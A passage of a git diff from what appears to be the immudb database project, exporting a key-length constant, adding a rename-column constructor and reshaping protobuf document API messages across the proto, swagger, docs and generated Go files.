doc := range docs { - var docID DocumentID - docID, err = e.getDocumentID(doc, true) - if err != nil { - return - } - - docIDs = append(docIDs, docID) - - rowSpec, err := e.generateRowSpecForDocument(docID, doc, table) - if err != nil { - return nil, 0, err - } - - rows = append(rows, rowSpec) - } - - // add documents to collection - _, ctxs, err := e.sqlEngine.ExecPreparedStmts( - ctx, - tx, - []sql.SQLStmt{ - sql.NewUpserIntoStmt( - collectionName, - cols, - rows, - true, - nil, - ), - }, - nil, - ) - if err != nil { - return nil, 0, err - } - - txID = ctxs[0].TxHeader().ID - - return -} - func newDocumentReader(reader sql.RowReader) DocumentReader { return &documentReader{reader: reader} } diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 933b7f9b2b..713257089b 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -938,7 +938,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b if maxLen <= 0 { return nil, ErrInvalidValue } - if maxLen > maxKeyLen { + if maxLen > MaxKeyLen { return nil, ErrMaxKeyLengthExceeded } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index f7ba949eda..884dc9e2c8 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -86,7 +86,7 @@ var ErrAmbiguousSelector = errors.New("ambiguous selector") var ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) var ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") -var maxKeyLen = 256 +var MaxKeyLen = 256 const EncIDLen = 4 const EncLenLen = 4 diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 90c616efea..bda2a62915 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4841,10 +4841,10 @@ func TestEncodeAsKeyEdgeCases(t *testing.T) { _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, maxKeyLen+1) + _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, MaxKeyLen+1) require.ErrorIs(t, err, ErrMaxKeyLengthExceeded) - _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", maxKeyLen) + _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", MaxKeyLen) require.ErrorIs(t, err, ErrInvalidValue) t.Run("varchar cases", func(t *testing.T) { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 93de74aa6c..fdc2b89aca 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -387,7 +387,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - if variableSized(col.colType) && (col.MaxLen() == 0 || col.MaxLen() > maxKeyLen) { + if variableSized(col.colType) && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { return nil, ErrLimitedKeyType } @@ -480,6 +480,10 @@ type RenameColumnStmt struct { newName string } +func NewRenameColumnStmt(table, oldName, newName string) *RenameColumnStmt { + return &RenameColumnStmt{table: table, oldName: oldName, newName: newName} +} + func (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 51cb10a173..e899f54656 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -542,12 +542,7 @@ } }, "modelCollectionCreateResponse": { - "type": "object", - "properties": { - "collection": { - "$ref": "#/definitions/modelCollection" - } - } + "type": "object" }, "modelCollectionDeleteResponse": { "type": "object" @@ -742,6 +737,9 @@ "modelDocumentSearchRequest": { "type": "object", "properties": { + "searchID": { + "type": "string" + }, "collection": { "type": "string" }, @@ -758,24 +756,21 @@ "perPage": { "type": "integer", "format": "int64" - }, - "searchID": { - "type": "string" } } }, "modelDocumentSearchResponse": { "type": "object", "properties": { + "searchID": { + "type": "string" + }, "revisions": { "type": "array", "items": { "type": "object", "$ref": "#/definitions/modelDocumentAtRevision" } - }, - "searchID": { - "type": "string" } } }, @@ -796,8 +791,16 @@ "modelDocumentUpdateResponse": { "type": "object", "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "documentId": { + "type": "string" + }, "revision": { - "$ref": "#/definitions/modelDocumentAtRevision" + "type": "string", + "format": "uint64" } } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index c32ef3b3a1..1b5f624c2e 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -52,9 +52,7 @@ message CollectionCreateRequest { Collection collection = 1; } -message CollectionCreateResponse { - Collection collection = 1; -} +message CollectionCreateResponse {} message Collection { string name = 1; @@ -134,7 +132,9 @@ message DocumentUpdateRequest { } message DocumentUpdateResponse { - DocumentAtRevision revision = 1; + uint64 transactionId = 1; + string documentId = 2; + uint64 revision = 3; } message DocumentSearchRequest { @@ -323,5 +323,4 @@ service DocumentService { ]; }; } - } diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 5213623d3e..2c914d537f 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -202,11 +202,6 @@ -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | - - @@ -475,6 +470,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | +| searchID | [string](#string) | | | | collection | [string](#string) | | | | query | [Query](#immudb.model.Query) | | | | desc | [bool](#bool) | | | @@ -494,6 +490,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | +| searchID | [string](#string) | | | | revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | @@ -526,7 +523,9 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revision | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | | | +| transactionId | [uint64](#uint64) | | | +| documentId | [string](#string) | | | +| revision | [uint64](#uint64) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 902584f558..c05fa26a83 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -206,8 +206,6 @@ type CollectionCreateResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - - Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` } func (x *CollectionCreateResponse) Reset() { @@ -242,13 +240,6 @@ func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } -func (x *CollectionCreateResponse) GetCollection() *Collection { - if x != nil { - return x.Collection - } - return nil -} - type Collection struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1067,7 +1058,9 @@ type DocumentUpdateResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Revision *DocumentAtRevision `protobuf:"bytes,1,opt,name=revision,proto3" json:"revision,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *DocumentUpdateResponse) Reset() { @@ -1102,11 +1095,25 @@ func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{18} } -func (x *DocumentUpdateResponse) GetRevision() *DocumentAtRevision { +func (x *DocumentUpdateResponse) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentUpdateResponse) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + +func (x *DocumentUpdateResponse) GetRevision() uint64 { if x != nil { return x.Revision } - return nil + return 0 } type DocumentSearchRequest struct { @@ -1114,11 +1121,12 @@ type DocumentSearchRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` - Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` - Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,5,opt,name=perPage,proto3" json:"perPage,omitempty"` + SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` + Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,3,opt,name=query,proto3" json:"query,omitempty"` + Desc bool `protobuf:"varint,4,opt,name=desc,proto3" json:"desc,omitempty"` + Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchRequest) Reset() { @@ -1153,6 +1161,13 @@ func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{19} } +func (x *DocumentSearchRequest) GetSearchID() string { + if x != nil { + return x.SearchID + } + return "" +} + func (x *DocumentSearchRequest) GetCollection() string { if x != nil { return x.Collection @@ -1350,7 +1365,8 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` + SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` + Revisions []*DocumentAtRevision `protobuf:"bytes,2,rep,name=revisions,proto3" json:"revisions,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -1385,6 +1401,13 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{23} } +func (x *DocumentSearchResponse) GetSearchID() string { + if x != nil { + return x.SearchID + } + return "" +} + func (x *DocumentSearchResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions @@ -1740,304 +1763,306 @@ var file_documents_proto_rawDesc = []byte{ 0x73, 0x74, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x54, 0x0a, 0x18, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, - 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, - 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, - 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, - 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x38, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x97, 0x01, 0x0a, - 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x56, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x3c, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, - 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x3f, - 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 